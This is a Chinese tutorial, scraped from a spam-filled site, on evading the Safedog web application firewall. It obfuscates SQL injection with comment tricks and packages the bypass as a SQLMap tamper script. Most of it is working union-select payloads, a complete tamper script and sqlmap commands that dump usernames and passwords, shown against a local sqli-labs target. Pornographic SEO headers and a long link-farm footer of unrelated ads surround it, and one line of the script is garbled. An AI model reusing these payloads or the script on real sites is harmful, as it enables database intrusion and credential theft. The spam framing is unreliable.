电脑知识|欧美黑人一区二区三区|软件|欧美黑人一级爽快片淫片高清|系统|欧美黑人狂野猛交老妇|数据库|服务器|编程开发|网络运营|知识问答|技术教程文章 - 好吧啦网

您的位置:首頁技術(shù)文章
文章詳情頁

教你編寫SQLMap的Tamper腳本過狗

瀏覽:74日期:2023-03-06 14:25:43
目錄
  • 測試環(huán)境
  • 最新版某狗
  • 測試方法
  • bypass
    • and
    • order by
    • union select
    • 加個(gè)換行試試
    • 獲取表字段
    • 編寫tamper

測試環(huán)境

最新版某狗

測試方法

安全狗其實(shí)是比較好繞的WAF,繞過方法很多,但這里我們就用一種:注釋混淆

一招鮮吃遍天

注釋混淆,其實(shí)就是在敏感位置添加垃圾字符注釋,常用的垃圾字符有/、!、*、%

這里再解釋一下內(nèi)聯(lián)注釋,因?yàn)楹竺嬉玫剑?/p>

MySQL內(nèi)聯(lián)注釋: /*!xxxxxxx*/ !后面的語句會(huì)當(dāng)作SQL語句直接執(zhí)行

但是如果!后面跟著MySQL版本號,那么就會(huì)出現(xiàn)兩種情況

當(dāng)!后面接的數(shù)據(jù)庫版本號小于自身版本號,就會(huì)將注釋中的內(nèi)容執(zhí)行當(dāng)!后面接的數(shù)據(jù)庫版本號大于等于自身版本號,就會(huì)當(dāng)做注釋來處理。

幫助網(wǎng)安學(xué)習(xí),全套資料S信免費(fèi)領(lǐng)?。?br>① 網(wǎng)安學(xué)習(xí)成長路徑思維導(dǎo)圖
② 60+網(wǎng)安經(jīng)典常用工具包
③ 100+SRC分析報(bào)告
④ 150+網(wǎng)安攻防實(shí)戰(zhàn)技術(shù)電子書
⑤ 最權(quán)威CISSP 認(rèn)證考試指南+題庫
⑥ 超1800頁CTF實(shí)戰(zhàn)技巧手冊
⑦ 最新網(wǎng)安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)

數(shù)據(jù)庫版本號以五位數(shù)字表示,比如當(dāng)前環(huán)境下數(shù)據(jù)庫版本號表示為:50553

!后面接小于50553的:

執(zhí)行了select 1;

!后面接大于等于50553的:

執(zhí)行了 select ;

下面進(jìn)入正題

bypass

and

and 1=1

但是把空格刪掉就不攔了

所以,我們認(rèn)為,and后面不能直接跟空格…

那么如果用其他形式表示空格呢?

前面說了,我們這次只使用注釋混淆:

burp,抓包設(shè)置

長度5335是被攔截的

長度為899的說明成功繞過

我們選擇其中一個(gè)作為空格的替代者就好了,這里我們選擇/*%*

即: ->/*/*%**/

同理 ,or是一樣的:

order by

測試發(fā)現(xiàn)還是只要替換order by中間的空格就可以了,所以繞過方法和前面一樣:

union select

union select使用之前的垃圾字符替換空格發(fā)現(xiàn)不行了:

但是先不急于換方法,再爆破一遍試試:

發(fā)現(xiàn)又有很多可以繞過的了。

所以我們再更改一下替換空格的垃圾字符, 這里選/*/!%!/*/

即: ->/*/!%!/*/

獲得當(dāng)前數(shù)據(jù)庫

正常語句:

?id=-1 union select 1,database(),3 --+

繞過:

即:()->(/*/!%!/*/)

獲取數(shù)據(jù)庫中的表

正常語句:

?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security" --+

繞過:

經(jīng)過測試發(fā)現(xiàn)攔截的是select + from + information_schema的組合

中間加垃圾字符替換空格已經(jīng)不管用了,我們嘗試對關(guān)鍵字進(jìn)行混淆。

information_schema進(jìn)行混淆測試:

首先使用內(nèi)聯(lián)注釋,發(fā)現(xiàn),這里的版本號不管寫啥,都直接被攔。

考慮是檢測了select + from + /*! + information_schema的組合

加個(gè)換行試試

還是不行…

那既然都換行了,那我們再在換行前加一些垃圾字符:

如果我們直接插入垃圾字符,會(huì)當(dāng)作SQL語句執(zhí)行,所以前面還需要在垃圾字符前加個(gè)注釋,可以是 /**/#--+

但是經(jīng)過測試只有 --+好用

有這么多可以繞過的,我們隨便選擇一個(gè),比如/*%/

這樣,最終語句如下:

?id=-1/*/!%!/*/union/*/!%!/*/select/*/!%!/*/1,group_concat(table_name),3/*/!%!/*/from/*/!%!/*//*!00000--+/*%/%0ainformation_schema.tables*/%20where%20table_schema=database(/*/!%!/*/)--%20+

獲取表字段

正常語句:

?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users" --+

繞過語句:

?id=-1/*/!%!/*/union/*/!%!/*/select/*/!%!/*/1,group_concat(column_name),3/*/!%!/*/from/*/!%!/*//*!00000--+/*%/%0ainformation_schema.columns*/%20where%20table_name=0x7573657273--%20+

獲取字段信息

?id=-1/*/!%!/*/union/*/!%!/*/select/*/!%!/*/1,/*/!%!/*/group_concat(username,0x2f,password),3/*/!%!/*/from/*/!%!/*/users

成功。

編寫tamper

當(dāng)我們下載了SQLMap,解壓后,我們可以找到文件夾【tamper】,該文件夾有很多個(gè)Tamper腳本幫助我們繞過一些安全防護(hù):

網(wǎng)上有很多相關(guān)腳本的介紹,我就不一一介紹了。

雖然SQLMap提供了這么多的Tamper腳本,但是在實(shí)際使用的過程中,網(wǎng)站的安全防護(hù)并沒有那么簡單,可能過濾了許多敏感的字符以及相關(guān)的函數(shù)。這個(gè)時(shí)候就需要我們針對目標(biāo)的防護(hù)體系構(gòu)建相應(yīng)的Tamper腳本。

Tamper相當(dāng)于一個(gè)加工車間,它會(huì)把我們的Payload進(jìn)行加工之后發(fā)往目標(biāo)網(wǎng)站。

我們隨便打開一個(gè)Tamper腳本看一下它的結(jié)構(gòu):

#apostrophemask.py#!/usr/bin/env python"""Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)See the file "LICENSE" for copying permission"""# 導(dǎo)入SQLMap中l(wèi)ib\core\enums中的PRIORITY優(yōu)先級函數(shù)from lib.core.enums import PRIORITY# 定義腳本優(yōu)先級__priority__ = PRIORITY.LOWEST# 對當(dāng)前腳本的介紹def dependencies():    pass"""對傳進(jìn)來的payload進(jìn)行修改并返回函數(shù)有兩個(gè)參數(shù)。主要更改的是payload參數(shù),kwargs參數(shù)用得不多。"""def tamper(payload, **kwargs):    """    Replaces apostrophe character (") with its UTF-8 full width counterpart (e.g. " -> %EF%BC%87)    References:* http://www.utf8-chartable.de/unicode-utf8-table.pl?start=65280&number=128* https://web.archive.org/web/20130614183121/http://lukasz.pilorz.net/testy/unicode_conversion/* https://web.archive.org/web/20131121094431/sla.ckers.org/forum/read.php?13,11562,11850* https://web.archive.org/web/20070624194958/http://lukasz.pilorz.net/testy/full_width_utf/index.phps    >>> tamper("1 AND "1"="1")    "1 AND %EF%BC%871%EF%BC%87=%EF%BC%871"    """    return payload.replace("\"", "%EF%BC%87") if payload else payload

可見Tamper腳本的結(jié)構(gòu)非常簡單,其實(shí)滲透測試中的主要難點(diǎn)還是如何去繞過WAF。

下面我們針對bypass部分的繞過方法進(jìn)行編寫Tamper腳本,來實(shí)現(xiàn)自動(dòng)化SQL注入:

實(shí)際測試的時(shí)候發(fā)現(xiàn),sqlmap默認(rèn)語句中的AS關(guān)鍵字也會(huì)被攔截,這里也用同樣的方法替換一下就好

#!/usr/bin/env pythonimport refrom lib.core.settings import UNICODE_ENCODINGfrom lib.core.enums import PRIORITY__priority__ = PRIORITY.NORMALdef dependencies():    passdef tamper(payload, **kwargs):    if payload:payload = payload.replace(" ","/*/!%!/*/")payload = payload.replace("()","(/*/!%!/*/)")payload = re.sub(r"(?i)(INFORMATION_SCHEMA.SCHEMATA)",r"/*!00000--%20/*%/%0aINFORMATION_SCHEMA.SCHEMATA*/",payload)payload = re.sub(r"(?i)(INFORMATION_SCHEMA.TABLES)",r"/*!00000--%20/*%/%0aINFORMATION_SCHEMA.TABLES*/",payload)payload = re.sub(r"(?i)(INFORMATION_SCHEMA.COLUMNS)",r"/*!00000--%20/*%/%0aINFORMATION_SCHEMA.COLUMNS*/",payload)payload = re.sub(r"(?i)(/AS/)",r"http://*!00000--%20/*%/%0aAS*//",payload)    return payload

測試:

sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent

sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent --dbs
sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent -D security --tables

python2 sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent -D security -T users --columns

sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent -D security -T users -C username,password --dump --stop 3

到此這篇關(guān)于教你編寫SQLMap的Tamper腳本過狗的文章就介紹到這了,更多相關(guān)SQLMap的Tamper腳本內(nèi)容請搜索以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持!

標(biāo)簽: MsSQL
主站蜘蛛池模板: 排烟防火阀-消防排烟风机-正压送风口-厂家-价格-哪家好-德州鑫港旺通风设备有限公司 | 精密模具制造,注塑加工,吹塑和吹瓶加工,EPS泡沫包装生产 - 济南兴田塑胶有限公司 | 济南宣传册设计-画册设计_济南莫都品牌设计公司 | 上海地磅秤|电子地上衡|防爆地磅_上海地磅秤厂家–越衡称重 | 培训中心-翰香原香酥板栗饼加盟店总部-正宗板栗酥饼技术 | 体感VRAR全息沉浸式3D投影多媒体展厅展会游戏互动-万展互动 | 水厂自动化|污水处理中控系统|水利信息化|智慧水务|智慧农业-山东德艾自动化科技有限公司 | 广东教师资格网-广东教师资格证考试网 | 网站优化公司_SEO优化_北京关键词百度快速排名-智恒博网络 | 小型铜米机-干式铜米机-杂线全自动铜米机-河南鑫世昌机械制造有限公司 | 直流电能表-充电桩电能表-导轨式电能表-智能电能表-浙江科为电气有限公司 | 北京网站建设|北京网站开发|北京网站设计|高端做网站公司 | 环保袋,无纺布袋,无纺布打孔袋,保温袋,环保袋定制,环保袋厂家,环雅包装-十七年环保袋定制厂家 | 继电器模组-IO端子台-plc连接线-省配线模组厂家-世麦德 | 单螺旋速冻机-双螺旋-流态化-隧道式-食品速冻机厂家-广州冰泉制冷 | 泰安办公家具-泰安派格办公用品有限公司| 加盟店-品牌招商加盟-创业项目商机平台 | 中控室大屏幕-上海亿基自动化控制系统工程有限公司 | 超细粉碎机|超微气流磨|气流分级机|粉体改性设备|超微粉碎设备-山东埃尔派粉碎机厂家 | 选矿设备,选矿生产线,选矿工艺,选矿技术-昆明昆重矿山机械 | 温州食堂承包 - 温州市尚膳餐饮管理有限公司 | 桨叶搅拌机_螺旋挤压/方盒旋切造粒机厂家-无锡市鸿诚输送机械有限公司 | 智能案卷柜_卷宗柜_钥匙柜_文件流转柜_装备柜_浙江福源智能科技有限公司 | 手持式浮游菌采样器-全排二级生物安全柜-浙江孚夏医疗科技有限公司 | 购买舔盐、舔砖、矿物质盐压块机,鱼饵、鱼饲料压块机--请到杜甫机械 | 企业管理培训,企业培训公开课,企业内训课程,企业培训师 - 名课堂企业管理培训网 | 仿清水混凝土_清水混凝土装修_施工_修饰_保护剂_修补_清水混凝土修复-德州忠岭建筑装饰工程 | 东莞市踏板石餐饮管理有限公司_正宗桂林米粉_正宗桂林米粉加盟_桂林米粉加盟费-东莞市棒子桂林米粉 | 基业箱_环网柜_配电柜厂家_开关柜厂家_开关断路器-东莞基业电气设备有限公司 | 400电话_400电话申请_888元包年_400电话办理服务中心_400VIP网 | 3A别墅漆/3A环保漆_广东美涂士建材股份有限公司【官网】 | 铁素体测量仪/检测仪/铁素体含量测试仪-苏州圣光仪器有限公司 | 物流之家新闻网-最新物流新闻|物流资讯|物流政策|物流网-匡匡奈斯物流科技 | 玖容气动液压设备有限公司-气液增压缸_压力机_增压机_铆接机_增压器 | 合肥网络推广_合肥SEO网站优化-安徽沃龙First | 智慧旅游_智慧景区_微景通-智慧旅游景区解决方案提供商 | 深圳展厅设计_企业展馆设计_展厅设计公司_数字展厅设计_深圳百艺堂 | 北京自然绿环境科技发展有限公司专业生产【洗车机_加油站洗车机-全自动洗车机】 | 广州展览设计公司_展台设计搭建_展位设计装修公司-众派展览装饰 广州展览制作工厂—[优简]直营展台制作工厂_展会搭建资质齐全 | 304不锈钢无缝管_不锈钢管厂家 - 隆达钢业集团有限公司 | 防火门-专业生产甲级不锈钢钢质防火门厂家资质齐全-广东恒磊安防设备有限公司 |